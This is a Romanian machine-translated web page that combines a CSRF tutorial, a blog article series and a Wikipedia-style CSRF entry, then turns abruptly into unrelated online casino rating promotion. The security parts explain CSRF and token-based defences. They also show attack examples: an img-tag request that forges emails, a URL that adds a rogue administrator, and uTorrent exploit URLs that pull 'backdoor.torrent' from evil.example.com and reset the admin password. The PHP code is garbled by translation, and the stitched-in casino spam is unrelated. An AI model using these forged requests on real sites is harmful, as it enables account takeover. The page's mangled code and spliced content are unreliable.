Suspiciunea unui atac de fals în cerere încrucișată. Vulnerabilitatea CSRF. Introducere. Cookie Trimite dublu

De la autor: Motivul înregistrării acestei lecții a fost o întrebare de pe forumul nostru care a întrebat după cum urmează— cum să protejați un site web de atacurile CSRF? Desigur, am răspuns imediat pe această temă și am furnizat un mic algoritm pentru implementarea mecanismului de protecție. Dar, deoarece cel mai probabil nu toți cititorii noștri citesc forumul, am decis să înregistrez o lecție separată despre problema de mai sus.

Aș dori să notez imediat că videoclipul actual nu va oferi o versiune completă soluție gata făcută, care poate fi încorporat pe site-ul necesar. Pentru că fiecare dintre voi are sau va avea un site web cu o structură logică unică, adică complet diferită de ceilalți, ceea ce înseamnă că este imposibil să creați un script de protecție gata făcut, observând absolut totul opțiuni posibile implementare.

Da, și acest lucru nu este necesar, deoarece esența mecanismului de protecție este destul de simplă și, prin urmare, în videoclipul actual, folosind exemplul unui site de testare, veți vedea cum vă puteți proteja de tipul de atac de mai sus și apoi, pe baza cunoștințelor acumulate, veți face pași similari pe propriul proiect. Deci, să începem.

CSRF este un acronim format din cuvintele în engleză Cross-Site Request Forgery, care înseamnă falsificare de solicitare între site-uri. Acest termen a fost introdus cu mult timp în urmă de Peter Watkins în 2001, dar oamenii au început să vorbească despre posibile atacuri de acest gen încă din 1988. Vă rugăm să rețineți că a trecut deja o perioadă suficientă de timp, dar totuși majoritatea site-urilor web sunt supuse acestui atac. Apare imediat întrebarea - de ce este așa? Și răspunsul este destul de simplu și constă în faptul că vulnerabilitatea la atacurile CSRF nu este o eroare în codul aplicației, ci o consecință a funcționării complet normale a browserului și a serverului web.

Esența atacului este că un atacator poate efectua diverse actiuniîn numele altui utilizator înregistrat (autorizat). Cu alte cuvinte acest tip atacul presupune vizitarea de către utilizator a site-ului web al atacatorului, ceea ce duce la rândul său la faptul că, fără să știe, unele acțiuni predefinite sunt efectuate pe un alt site sau serviciu pe care acest utilizator în acest moment autorizat.

În acest caz, de regulă, ținta atacurilor CSRF sunt diverse aplicații web interactive care efectuează acțiuni specifice, de exemplu, trimiterea de servicii e-mail, diverse forumuri, sisteme de plată etc. Adică, un hacker poate efectua unele acțiuni în numele altor utilizatori - trimite mesaje, adaugă conturi noi, efectuează tranzacții financiare etc.

Acum să ne uităm la efectul acestui atac asupra exemplului unui site de testare.

Să presupunem că există un site web a cărui sarcină este să trimită e-mail la adresa specificată în numele unui utilizator autorizat. Adică pe pagina de start vedem un formular pentru trimiterea unui mesaj. Mai mult, există și un mecanism de trimitere a mesajelor la trecerea anumitor parametri printr-o cerere GET (doar de exemplu). Pagina de autentificare arată astfel:

Această pagină destul de obișnuit, dar ceea ce vă atrage atenția este caseta de selectare „Member”, care este folosită pentru a salva datele de autorizare în cookie-urile browserului. De fapt, acest mecanism este foarte convenabil pentru utilizatori, deoarece simplifică accesul repetat la pagină, dar este extrem de nedorit din punct de vedere al securității. Dar totuși, de dragul vizitatorilor, de multe ori trebuie să faci anumite concesii.

Codul pentru trimiterea mesajelor folosind două metode (GET și POST) arată cam așa:

//Trimiterea unui mesaj if($this->isGet() && !empty($_GET["email"])) ( $body = "Bună ziua, acesta este formularul de mesaj - ".$this->user["name"] ; $body .= " Conținut - de la GET - ".$_GET["conținut"]."De la - ".$_GET["e-mail"]; [email protected]","Mesaj nou", $body); ) if($this->isPost()) ( $body = "Bună, acesta este formularul de mesaj - ".$this->user["nume"]; $body .= " Conținut - DIN POST - ".$_POST["conținut"]."De la - ".$_POST["e-mail"]; [email protected]","Mesaj nou",$body); )

//Trimite mesaj

dacă ($ this -> isGet () && ! empty ( $ _GET [ "email" ] ) ) (

$corp = . $ this -> user [ "nume" ] ;

$corp. = "Conținut - de la GET - " . $_GET[„conținut”]. "De la - " . $_GET[„e-mail”];

if ($this -> isPost()) (

$corp= „Bună ziua, acesta este formularul de mesaj -”. $ this -> user [ "nume" ] ;

$corp. = "Conținut - DIN POSTĂ - " . $_POST[„conținut”]. "De la - " . $_POST[„e-mail”];

mail(" [email protected]", "Mesaj nou", $body);

Acum, să ne uităm la un alt site - site-ul unui hacker.

Pe care poate plasa un cod destul de simplu, dar foarte eficient dacă este necesar să efectueze un atac asupra unei cereri GET:

< img src = „http://localhost/csrf/ [email protected]&content=Bună lume">

Adică, în esență, vedem o etichetă img, al cărei atribut src conține calea către site-ul care urmează să fie atacat, cu un set de parametri necesari pentru a efectua o anumită acțiune. În cazul nostru, aceasta este trimiterea unui mesaj, ceea ce înseamnă că acum atacatorul trebuie doar să atragă utilizatorul către site-ul curent și, fără să știe, se va face o solicitare către site-ul de interes, deoarece browserul va încerca să se încarce imaginea, calea către care este specificată în atributul src. Totodată, ne amintim că cookie-urile browserului stochează date de autorizare și, desigur, aplicația le folosește imediat și, în consecință, cererea de mai sus va fi procesată cu succes de către server. Aceasta înseamnă că un mesaj va fi trimis în numele utilizatorului.

Dacă ne uităm la setul de anteturi care sunt trimise împreună cu cererea, atunci într-adevăr, putem vedea cookie-uri cu date de conectare la cont, ceea ce înseamnă, desigur, - așa cum am menționat mai sus, că cererea va fi percepută ca provenind de la un utilizator autentificat.

Situația este exact aceeași cu trimiterea unei solicitări prin metoda POST, doar în acest caz atacatorul va crea pe site-ul său un formular care va fi trimis automat folosind JavaScript de îndată ce vizitatorul intră pe acest site.

Astfel, este imperativ să vă protejați împotriva atacurilor de acest fel și numai cele mai multe mod eficient protecția este utilizarea de jetoane speciale.

Un token de securitate este un șir care este generat aleatoriu pentru un anumit utilizator și este transmis în fiecare solicitare care implică modificarea datelor. În plus, jetonul este și salvat în sesiune. Astfel, esența protecției se rezumă la o simplă verificare a corespondenței token-ului care este transmis în cerere și token-ului care este stocat în sesiune. Dacă ambele jetoane sunt identice, atunci cererea a fost trimisă de un utilizator autorizat. Dacă jetoanele nu se potrivesc sau nu există deloc jetoane în cerere, putem judeca cu mare încredere că se efectuează un atac, ceea ce înseamnă că nu pot fi efectuate acțiuni.

Vă rugăm să rețineți că absolut toate cererile care vizează modificarea sau efectuarea anumitor acțiuni trebuie protejate.

De fapt, în această etapă, partea de text a lecției este finalizată și vom continua să vorbim despre subiectul dat în versiunea video. În același timp, vom lua în considerare metode de generare a jetoanelor și vom implementa practic algoritmul de protecție descris mai sus. Acum să ne luăm la revedere. Codare fericită!!!

Da, îmi amintesc că am promis în mesajul anterior să scriu despre captchas, dar, sincer să fiu, nu mai am puterea să scriu despre aceste captchas. Și m-am săturat de faptul că eu, ca analist al securității informațiilor, primesc doar propuneri pentru spargerea captch-urilor în PM și nu alte normal lucru.

În general, mă voi ridica în ochii publicului, voi începe să scriu articole referitoare la securitate. Profilul meu este în principal securitatea aplicațiilor web, așa că voi scrie despre securitatea aplicațiilor web, inclusiv despre vulnerabilitățile acestor aplicații.

Această serie de articole îi va fi dedicată Vulnerabilitățile CSRF. Nu ai auzit acest termen? Atunci acest ciclu este pentru tine ;)

Introducere

Desigur, în zilele noastre fiecare dezvoltator mai mult sau mai puțin experimentat a auzit despre astfel de vulnerabilități clasice precum:

  • injecție SQL
  • PHP include

Anterior, în zorii dezvoltării Internetului, aproape fiecare aplicație conținea o grămadă de astfel de vulnerabilități. Dar în fiecare zi a devenit din ce în ce mai dificil să întâlnești vulnerabilități de acest tip. Și biscuiții au devenit din ce în ce mai sofisticați, ceea ce a condus la dezvoltarea de noi tipuri și vectori de atac - unul dintre aceste tipuri de atac a fost identificat ca o clasă separată și a fost numit CSRF.

Ce este CSRF? Teorie

Să mergem la Wikipedia:

CSRF (Cross Site Request Forgery, cunoscut și sub numele de XSRF) este un tip de atac asupra vizitatorilor site-ului web care exploatează defecte ale protocolului HTTP. Dacă o victimă vizitează un site web creat de un atacator, o solicitare este trimisă în secret în numele lui către un alt server (de exemplu, către un server sistem de plată), efectuarea unei operațiuni rău intenționate (de exemplu, transferul de bani în contul unui atacator). Pentru a efectua acest atac, victima trebuie să fie autorizată pe serverul către care este trimisă cererea, iar această solicitare nu trebuie să necesite nicio confirmare din partea utilizatorului, care nu poate fi ignorată sau falsificată de scriptul de atac.

Dacă mai mult într-un limbaj clar, atunci acesta este un atac în care atacatorul încearcă să forțeze browserul victimei să creeze o cerere către serverul țintă, fără știrea victimei. Schematic va arăta astfel:

Acest atac este oarecum similar cu XSS clasic, în care atacatorul trebuia să forțeze victima să urmeze un link către o pagină vulnerabilă. Aici este necesar să forțați utilizatorul să meargă la o pagină special pregătită de atacator, la care i s-a adăugat ceva cod. Când acest cod este executat, browserul victimei face o anumită solicitare către un alt server (de exemplu, sub pretextul descărcării unei imagini) și, prin urmare, efectuează anumite acțiuni necesare atacatorului.

Pericolul CSRF este că acest comportament al browserelor și al întregului protocol HTTP este normal. De exemplu, este normal ca un site să conțină imagini de pe alt site în paginile sale. Și browserul nu știe dinainte ce anume încearcă să-l forțeze să descarce, într-adevăr o imagine, sau sub pretextul acestei descărcări vor fi efectuate anumite acțiuni pe site-ul țintă.

Puțină practică

Să luăm, de exemplu, un site sferic țintă în vid, care are un panou de administrare complet standard cu funcția de a adăuga un nou administrator:

Dezvoltatorul acestui formular nu știa nimic despre vulnerabilitatea CSRF și, desigur, nu s-a protejat împotriva acesteia. Ei bine, plus tot (pentru a simplifica exemplul) a transferat date metoda GET. Făcând clic pe butonul „creați”, browserul va genera o solicitare către următoarea pagină:
http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com
Iar după finalizarea solicitării, pe acest site va apărea un nou administrator. S-ar părea că așa ce - aceasta este o funcționalitate destul de comună pe multe site-uri. Dar aici se află principala greșeală. Victima poate fi forțată să facă această cerere atunci când intri pe un site complet diferit. Creați următoarea pagină la http://evil/page.html


Pagina obișnuită


Cu text simplu. Dar cu conținut neobișnuit



Și acum, dacă victima vine la http://evil/page.html, atunci browserul va încerca să încarce imaginea, dar în schimb va face o solicitare către panoul de administrare, creând astfel un nou administrator. Singura condiție prealabilă pentru exploatarea cu succes a acestei vulnerabilități este ca victima să fie autorizată pe serverul vulnerabil în momentul atacului.

Concluzie

Ne-am dat seama ce este CSRF. Să încercăm să evidențiem cerințele de bază pentru un atac de succes:

  • Capacitatea de a forța victima să meargă la o pagină cu un cod suplimentar. Sau posibilitatea ca un atacator să modifice paginile frecvent vizitate de victimă (cum se spune, dacă muntele nu merge la Mohamed, atunci...).
  • Lipsa protecției CSRF pe site-ul țintă (despre asta în).
  • Utilizatorul din momentul atacului trebuie să fie autorizat pentru acțiunea pe care dorim să o facem în numele său.

Și pe baza acestor cerințe vom încerca să construim protecție în următorul articol...

Solicitați falsificare pe site-uri, cunoscut și ca atac cu un clic sau sesiune de echitatieși prescurtat CSRF(uneori exprimat surf de mare) sau XSRF, este un tip de malware exploatat de pe un site web în care sunt trimise comenzi neautorizate de la utilizatorul în care aplicația web are încredere. Există multe moduri în care web rău intenționată- site-ul poate transmite astfel de comenzi; Etichetele de imagine special create, formularele ascunse și JavaScript XMLHttpRequests, de exemplu, pot funcționa fără interacțiunea utilizatorului sau chiar fără cunoștințe. Spre deosebire de cross-site scripting (XSS), care exploatează încrederea pe care utilizatorul o are pentru un anumit site, CSRF exploatează încrederea pe care site-ul o are în browserul utilizatorului.

poveste

Vulnerabilitățile CSRF sunt cunoscute și în unele cazuri exploatate din 2001. Deoarece se realizează de la adresa IP a utilizatorului, este posibil ca unele jurnale ale site-ului web să nu aibă dovezi ale CSRF. Exploitările sunt subraportate, cel puțin public, iar din 2007 existau câteva exemple bine documentate:

  • Site-ul Netflix din 2006 avea numeroase vulnerabilități CSRF care ar putea permite unui atacator să efectueze acțiuni precum adăugarea unui DVD la coada de închiriere a unei victime, schimbarea adresei de expediere a unui cont sau schimbarea acreditărilor de conectare ale victimei pentru a compromite complet contul.
  • Aplicația web de banking online ING Direct a fost vulnerabilă la atacurile CSRF, permițând transferuri ilegale de bani.
  • Popularul site video YouTube a fost, de asemenea, vulnerabil la CSRF în 2008, iar acest lucru a permis oricărui atacator să facă aproape orice ar putea face orice utilizator.
  • McAfee este, de asemenea, vulnerabil la CSRF, care a permis atacatorilor să-și modifice sistemul companiei.

Noi atacuri asupra dispozitivelor web au fost efectuate în 2018, inclusiv încercări de schimbare Setări DNS routere. Unii producători de routere s-au grăbit să lanseze actualizări de firmware pentru a îmbunătăți securitatea și au sfătuit utilizatorii să-și schimbe setările routerului pentru a reduce riscul. Detaliile nu au fost făcute publice, invocând „motive evidente de securitate”.

Exemplu și caracteristici

Atacatorii care pot găsi un link reproductibil care efectuează o anumită acțiune pe o pagină de destinație în timp ce victima se înregistrează pot încorpora un astfel de link pe o pagină pe care o controlează și pot păcăli victima să o deschidă. Link-ul media de atac poate fi plasat într-o locație pe care victima este cel mai probabil să o viziteze conectându-se la site-ul țintă (cum ar fi o discuție pe forum) sau trimis în corpul unui e-mail HTML sau al unui atașament. Vulnerabilitatea reală CSRF din Utorrent (CVE-2008-6586) a exploatat faptul că consola sa web este accesibilă pe localhost: 8080 a permis efectuarea de acțiuni critice folosind simpla cerere OBŢINE:

Forțați descărcarea fișierului .torrent http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Schimbarea parolei de administrator Utorrent http://localhost:8080/gui/action = setsetting & s = webui.parolă & v = eviladmin

Atacurile au fost lansate prin plasarea unor elemente de imagine HTML rău intenționate, automatizate, pe forumuri și spam-uri prin e-mail, astfel încât browserele care vizitează aceste pagini să le deschidă automat, fără prea multă acțiune din partea utilizatorului. Persoanele care rulau o versiune vulnerabilă a Utorrent în același timp cu deschiderea acestor pagini erau susceptibile la atac.

Atacurile CSRF care folosesc etichete de imagine sunt adesea făcute de pe forumuri de internet unde utilizatorii pot posta imagini, dar nu JavaScript, de exemplu folosind BBCode:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Când accesați un link de atac pe o aplicație locală Utorrent pe localhost:8080, browserul va trimite întotdeauna automat orice cookie-uri existente pentru acel domeniu. Această proprietate comună a browserelor web permite atacurilor CSRF să-și exploateze vulnerabilitățile țintă și să efectueze acțiuni ostile atâta timp cât utilizatorul este conectat la site-ul țintă (în în acest exemplu web local- interfață Utorrent) în momentul atacului.

Falsificarea cererilor pe mai multe site-uri este un atac proxy confuz împotriva browserului web.

CSRF are de obicei următoarele caracteristici:

  • Include site-uri care se bazează pe identitatea utilizatorului.
  • Ea valorifică încrederea site-ului în această identitate.
  • Acesta păcălește browserul utilizatorului pentru a trimite solicitări HTTP către site-ul țintă.
  • Include solicitări HTTP care au efecte secundare.

Verbe HTTP și CSRF

  • În HTTP GET, exploatarea CSRF este banală, folosind metodele descrise mai sus, cum ar fi un hyperlink simplu care conține parametri manipulați și încărcat automat folosind o etichetă IMG. De Specificații HTTP totuși, GET ar trebui folosit ca metodă sigură, adică fără a schimba semnificativ starea utilizatorului în aplicație. Aplicațiile care utilizează GET pentru astfel de operațiuni ar trebui să treacă la HTTP POST sau să utilizeze protecție CSRF.
  • HTTP POST are diverse vulnerabilități CSRF, în funcție de cazurile de utilizare detaliate:
    • În cea mai simplă formă, un POST cu date codificate ca șir de interogare (field1=value1&field2=value2) atacul CSRF este ușor de implementat folosind un formular HTML simplu și trebuie aplicate măsuri anti-CSRF.
    • Dacă datele sunt transmise în orice alt format (JSON, XML) metoda standard emite o cerere POST folosind XMLHttpRequest cu atacuri CSRF prevenite de SOP și ; există o metodă de trimitere a conținutului arbitrar dintr-un formular HTML simplu folosind atributul ENCTYPE; o astfel de solicitare falsă poate fi distinsă de cele legitime prin tipul text/conținut simplu, dar dacă aceasta nu este executată pe server, CSRF poate fi executat
  • alte metode HTTP (PUT, DELETE, etc.) pot fi emise numai folosind XMLHttpRequest cu prevenirea SOP și CSRF; Cu toate acestea, aceste măsuri nu vor fi active pe site-urile web care le dezactivează în mod explicit folosind antetul Access-Control-Allow-Origin: *

Alte abordări ale CSRF

În plus, deși este descris în mod obișnuit ca un tip de atac static, CSRF poate fi, de asemenea, construit dinamic ca parte a sarcinii utile pentru scenariile de atac între site-uri, așa cum este demonstrat de viermele Samy, sau construit din mers din informații despre sesiune scurse prin conținutul offsite și trimis la țintă ca URL rău intenționat. Tokenurile CSRF pot fi, de asemenea, trimise de un client rău intenționat din cauza fixării sesiunii sau a altor vulnerabilități, sau ghicite printr-un atac de forță brută tradus într-o pagină rău intenționată care generează mii de solicitări eșuate. Clasa de atac „Dynamic CSRF”, sau utilizarea unei încărcături utile per client pentru o falsificare specifică sesiunii, a fost descrisă în 2009 de Nathan Hamiel și Sean Moyer la briefing-urile BlackHat, deși taxonomia urmează să fie utilizată pe scară largă.

Un nou vector pentru compunerea atacurilor dinamice CSRF a fost prezentat de Oren Ofer la întâlnirea capitolului local OWASP din ianuarie 2012 - „AJAX Hammer - Dynamic CSRF”.

Consecințele

Au fost emisi indicatori de gravitate pentru vulnerabilitățile CSRF care duc la executarea de cod de la distanță cu privilegii root, precum și o vulnerabilitate care poate compromite un certificat rădăcină, ceea ce ar submina complet infrastructura cheii publice.

Restricții

Trebuie să se întâmple mai multe lucruri pentru ca o cerere de falsificare pe mai multe site-uri să reușească:

  1. Atacatorul trebuie să vizeze fie un site care nu verifică antetul referitor, fie victima folosind un browser sau un plugin care permite falsificarea refererului.
  2. Atacatorul trebuie să găsească un formular de trimitere pe site-ul țintă, sau URL, care are efectele secundare de a face ceva (cum ar fi transferul de bani sau schimbarea adresei de e-mail sau a parolei victimei).
  3. Atacatorul trebuie să determine valorile corecte pentru toate formularele sau intrările URL; dacă oricare dintre ei ar avea valori secrete de autentificare sau identificatori pe care atacatorul nu le-ar putea ghici, probabil că atacul ar eșua (cu excepția cazului în care atacatorul a fost foarte norocos în presupunerea lor).
  4. Atacatorul trebuie să atragă victima către o pagină web cu cod rău intenționat, în timp ce victima se înregistrează pe site-ul țintă.

Atacul este orb: atacatorul nu poate vedea ceea ce site-ul țintă trimite înapoi victimei ca răspuns la solicitări falsificate decât dacă exploatează Cross-Site Scripting sau o altă eroare a site-ului țintă. În plus, un atacator poate viza numai orice link sau trimite orice formulare care vin după cererea inițială falsificată, atâta timp cât acele linkuri sau formulare ulterioare sunt previzibile în mod similar. (Multe ținte pot fi simulate prin includerea mai multor imagini pe o pagină sau cu folosind JavaScript pentru a introduce o întârziere între clicuri.)

Având în vedere aceste restricții, un atacator poate avea dificultăți în a găsi identitățile anonime ale victimelor sau o formă vulnerabilă de reprezentare. Pe de altă parte, încercările de atac sunt ușor de montat și nedetectate de victime, iar dezvoltatorii de aplicații sunt mai puțin familiarizați și pregătiți pentru atacurile CS decât pentru, de exemplu, atacurile de dicționar de spargere a parolelor.

prevenirea

Majoritatea metodelor de prevenire a CSRF funcționează prin încorporarea datelor de autentificare suplimentare în cereri, ceea ce permite aplicației web să detecteze cererile din locații neautorizate.

Model de marker sincronizator

  • La conectare, aplicația web setează un cookie care conține un simbol aleator care rămâne neschimbat pe parcursul sesiunii utilizatorului
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expiră=Joi, 23-Iul-2015 10:25:33 GMT; Max-Age=31449600; Cale=/
  • JavaScript rulează pe partea clientului citește valoarea și o copiază într-un antet HTTP personalizat trimis cu fiecare cerere tranzacțională
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • Serverul verifică prezența și integritatea jetoanelor

Securitatea acestei metode se bazează pe presupunerea că numai JavaScript care rulează în aceeași origine va putea citi valoarea cookie-ului. JavaScript care rulează cu un fișier sau o adresă de e-mail nepotrivită nu va putea fi citit și copiat în antetul personalizat. Chiar dacă jetonul CSRF cookie-uri va fi trimis automat cu o cerere necinstită, serverul o va face încă așteaptă un token X-CSRF valid titlu .

Tokenul CSRF în sine trebuie să fie unic și imprevizibil. Acesta poate fi generat aleatoriu sau poate fi obținut din jetoane de sesiune folosind HMAC:

Csrf_token = HMAC(session_token, application_secret)

Indicatorul cookie CS nu ar trebui să aibă un semnalizator HTTPOnly, deoarece este destinat să fie citit de designul JavaScript.

Această metodă este implementată de multe cadre moderne, cum ar fi Django și AngularJS. Deoarece token-ul rămâne persistent pe toată durata sesiunii utilizatorului, funcționează bine cu aplicațiile AJAX, dar nu oferă o secvență de evenimente în aplicațiile web.

Protecția oferită de această metodă poate fi împiedicată dacă site-ul țintă dezactivează politica dvs. de aceeași origine utilizând una dintre următoarele metode:

  • Antet permisiv Access-Control-Allow-Origin (cu argument asterisc)
  • clientaccesspolicy.xml care acordă acces neintenționat la comenzile Silverlight
  • fișier crossdomain.xml care oferă acces neintenționat la filme flash

Cookie Trimite dublu

Similar cu abordarea cookie-to-header, dar fără JavaScript implicat, un site poate seta un token CSRF ca cookie și, de asemenea, îl poate insera într-un câmp ascuns în fiecare formular HTML trimis de client. Când formularul este trimis, site-ul poate verifica dacă marcatorul pentru cookie-uri se potrivește cu forma markerilor. Politica de origine comună împiedică un atacator să citească sau să seteze module cookie pe domeniul țintă, astfel încât nu poate plasa un token valid în forma lor creată.

Avantajul acestei metode față de designul sincronizatorului este că token-ul nu trebuie să fie stocat pe server.

Garanțiile clientului

Extensiile de browser, cum ar fi RequestPolicy (pentru Mozilla Firefox) sau Umatrix (atât pentru Firefox, cât și pentru Google Chrome/Chromium) pot preveni CSRF prin furnizarea unei politici implicite de refuzare pentru solicitările pe mai multe site-uri. Cu toate acestea, acest lucru poate interfera semnificativ funcţionare normală multe site-uri. Extensia CsFire (și pentru Firefox) poate atenua impactul CSRF cu un impact mai mic asupra navigării normale prin eliminarea informațiilor de autentificare din solicitările de pe site-uri.

Găsirea de cazinouri online de încredere și oneste necesită mult timp liber, mai ales când despre care vorbim despre nou-veniți. Este necesar să se evalueze transparența clubului de jocuri, reputația online, recenziile altor utilizatori, viteza de plată și mulți alți factori operaționali. Pentru a salva jucătorii de la o astfel de soartă, am compilat rating cazinou , care au fost testate temeinic și au confirmat propria onestitate și randamentul bun de la aparatele de slot.

Evaluarea noastră pentru cele mai bune cazinouri

Nu mai trebuie să vă pierdeți timpul personal verificând fiabilitatea unității. Analiștii cu experiență specializați în jocuri de noroc și petrec zeci de ore în cazinouri în fiecare lună și-au efectuat propria evaluare obiectivă a activității cluburilor de jocuri. Ei au analizat sute de unități pentru a oferi în cele din urmă utilizatorilor cele mai bune platforme disponibile pe internet.

Lista inițială a cluburilor a fost destul de mare, dar în timpul procesului de analiză au fost eliminate unități dubioase și nesigure. De exemplu, prezența unei licențe false, lipsa certificatelor pentru sloturi, înlocuirea unui server într-un slot machine și multe altele servesc drept avertisment pentru experți. Chiar și un factor care vă permite să vă îndoiți de integritatea cazinoului este un motiv pentru excluderea din rating.

Pe lângă o analiză superficială a platformelor de jocuri, sunt verificate informații despre unitățile de pe internet. Reputația online, recenziile jucătorilor actuali și foștilor, prezența situațiilor conflictuale, scandalurile de cazinou și modalitățile de rezolvare a problemelor de la creatori sunt luate în considerare în analiză. O atenție deosebită este acordată cluburilor tinere cu până la 1-2 ani de experiență.

Cum este compilat ratingul cazinoului și cine ajunge acolo?

Pentru a crea rating al cazinourilor licențiateAtragem jucători și analiști experimentați cu peste 10 ani de experiență în industrie. Datorită cunoștințelor lor, ei pot elimina cu ușurință cluburile frauduloase și apoi pot efectua o analiză amănunțită a unităților rămase. Rezultatul este o mică listă de cazinouri de încredere în care puteți juca în siguranță, fără teamă pentru corectitudinea rezultatelor și plata câștigurilor.

  • disponibilitatea unei licențe de la autoritatea de reglementare jocuri de norocși jurisdicția aleasă pentru înregistrare;
  • securitatea platformei, care garantează confidențialitatea datelor și a informațiilor de plată;
  • alegerea de software licențiat de la furnizori de încredere a căror activitate nu poate fi interferată;
  • disponibilitate Versiunea rusă pentru o mai mare comoditate a utilizatorilor din Rusia și țările CSI;
  • serviciul de asistență, inclusiv programul său de lucru, viteza de răspuns, calitatea rezolvării problemelor;
  • retragerea de bani fără întârzieri sau verificări suplimentare, precum și opțiuni de primire a banilor și viteza de procesare a tranzacțiilor;
  • programe bonus pentru utilizatori noi și obișnuiți, prezența turneelor, loterii, promoții periodice;
  • sisteme de plată care afectează confortul clienților de a-și umple conturile și de a retrage câștigurile.

Aceasta este doar o mică listă a cerințelor actuale care sunt evaluate de experți. Fiecare criteriu primește propriul coeficient de importanță, care este luat în considerare la însumarea rezultatului final.

Ce este un cazinou licențiat?

Evaluarea cazinoului , indicând onestitatea și transparența platformelor de joc, pot consta exclusiv din unități cu licențe de funcționare valabile. Cluburile legale trebuie să fie verificate de autoritățile de reglementare și să respecte toate regulile lor pentru a primi permisiunea.

Nu este suficient să menționezi prezența unei licențe pe site. Experții înțeleg că escrocii pot folosi sigle pentru a înșela utilizatorii naivi, așa că analizează independent informațiile. Pentru a face acest lucru, accesați site-ul web oficial al autorității de reglementare și utilizați numărul sau numele documentului persoană juridică confirma informatia. Dacă nu există informații despre licență, atunci este un fals.

De asemenea, analiştii folosesc analiza tehnică pentru a verifica software-ul licenţiat. Folosind instrumente pentru dezvoltatori, aceștia obțin acces la informații despre serverul de date. Dacă cazinoul folosește portalul oficial al furnizorului de software, atunci software-ul este onest și legal. Aceasta înseamnă că nu puteți interfera cu activitatea sa și nu puteți modifica rezultatele finale.

Cum se determină corectitudinea cazinoului?

Este destul de dificil să evaluezi în mod independent integritatea unui club de jocuri, ceea ce se datorează cantității de resurse și cunoștințe disponibile. Înainte de a include unitățile înrating al cazinourilor cinstite, analiștii efectuează o verificare amănunțită a mai multor factori:

  • regiunile din care sunt acceptați jucători, deoarece jurisdicțiile interzise vorbesc mult;
  • limitele de retragere care limitează tranzacțiile unice, precum și suma zilnică, săptămânală și lunară a tranzacțiilor;
  • disponibilitatea informațiilor despre KYC și AML, care indică conformitatea cu cerințele legislației privind onestitatea și legalitatea originii banilor;
  • o reputație care confirmă onestitatea și fiabilitatea activității clubului și absența unor scandaluri sau probleme importante;
  • durata muncii, permițându-vă să apreciați pe deplin povestea resursă online, inclusiv toate avantajele și dezavantajele;
  • prezența unui organism de reglementare și respectarea regulilor acestuia, ceea ce crește șansele operațiunilor corecte.

Licența și autoritatea de reglementare sunt criterii destul de importante, dar acest lucru nu oferă o garanție de 100% a onestității. Doar cluburile care au permis jucătorilor să obțină câștiguri mari și jackpot-uri, au oferit cadouri la loterie și turnee, pot conta pe un astfel de titlu.

Tipuri de slot machines

Numărul de sloturi, aparate și alte tipuri de jocuri de noroc spune multe despre unitatea. Unele cluburi cooperează doar cu câțiva furnizori de software, dar primesc oferte de jocuri populare și noi de la aceștia, în timp ce altele își extind rețeaua de acorduri de parteneriat și invită un număr mare de mărci să coopereze. Cu cât sunt prezentate mai multe mașini platforma de jocuri, cu atât clientului îi este mai ușor să aleagă slotul care îi place.

Dar rating al cazinourilor licențiateia în considerare nu numai varietatea jocurilor, ci și calitatea acestora. Unitățile de încredere de jocuri de noroc folosesc exclusiv software cu licență care a fost testat pentru corectitudine și siguranță. Astfel de mașini vă permit să contați pe randamente de până la 98% și nu puteți interfera cu munca lor și nu puteți modifica algoritmul pentru a genera rezultate.

Sincer să fiu, toate site-urile au ca scop obținerea de profit. Chiar dacă unul dintre jucători câștigă jackpot-ul, stabilimentul rămâne pe negru pe termen lung. Dar numai cluburile cinstite permit utilizatorilor să obțină un jackpot mare și să-l retragă într-un cont real. Acesta este ceea ce diferențiază cazinourile online licențiate de proiectele frauduloase.

Politica de bonusuri

Creați o evaluare a cazinoului imposibil fără a lua în considerare politica de bonusuri. Toate cluburile de jocuri folosesc promoții și cadouri pentru a atrage noi clienți și a păstra clienții existenți. Dar unele unități acționează destul de viclean, creând condiții ascunse pentru pariuri sau angajări, stabilind condiții de pariere nerealiste, de la x60-100, care sunt aproape imposibil de îndeplinit.

Setul standard de stimulente constă din următoarele categorii:

  1. Bonus fără depunere pentru primirea clienților noi - acordat pentru confirmarea adresei de e-mail și a numărului de telefon. Ca recompensă, aceștia folosesc bani gratuit sau rotiri gratuite la aparatele de joc cu o cerință de pariere obligatorie.
  2. Cadou de înregistrare - rotiri gratuite sau multiplicatori ai sumei de completare a contului cu 1-5 depuneri din momentul creării unui profil personal. Dimensiunea exactă bonusurile și limitele maxime sunt stabilite individual de fiecare club.
  3. Program de loialitate - diverse sisteme statusuri de utilizator care afectează dimensiunea cashback-ului săptămânal, disponibilitatea condițiilor personale de serviciu, cadouri individuale, rate de schimb favorabile pentru moneda națională și multe altele.
  4. Codurile promoționale sunt promoții periodice de la cluburile de jocuri care oferă certificate cadou pentru rotiri gratuite, fără depuneri sau multiplicatori de cont pentru toată lumea.

Cazinouri vorbitoare de limba rusă

Compune evaluarea celor mai bune cazinouri din 2020, se ține cont de prezența limbii ruse pe platformă. Interfața în limba rusă permite utilizatorilor din Rusia, Belarus, Ucraina și țările CSI să înțeleagă cu ușurință înregistrarea, autentificarea, completarea contului și alte caracteristici ale platformei. Acest lucru confirmă, de asemenea, că unitatea este concentrată pe utilizatorii vorbitori de limbă rusă, oferindu-le bonusuri și suport unic.

Se ia în considerare activitatea serviciului de asistență. Majoritatea cluburilor de jocuri de noroc oferă asistență clienților exclusiv pe engleză, ceea ce complică procesul de comunicare. Trebuie să utilizați un traducător sau un contact oameni cunoscători pentru a face o cerere și a înțelege răspunsul de asistență. Prin urmare, ratingul include doar acele cluburi online care consiliază clienții în chat-urile de asistență și prin telefon în limba rusă.

Interfața în limba rusă a cazinoului vă va permite să înțelegeți regulile de utilizare ale platformei fără efort suplimentar, să studiați ofertele de bonus și caracteristicile angajărilor lor, pariurile, să participați la turnee și loterie fără nicio îndoială cu privire la corectitudinea acțiunilor. .

Cazinou cu retrageri rapide

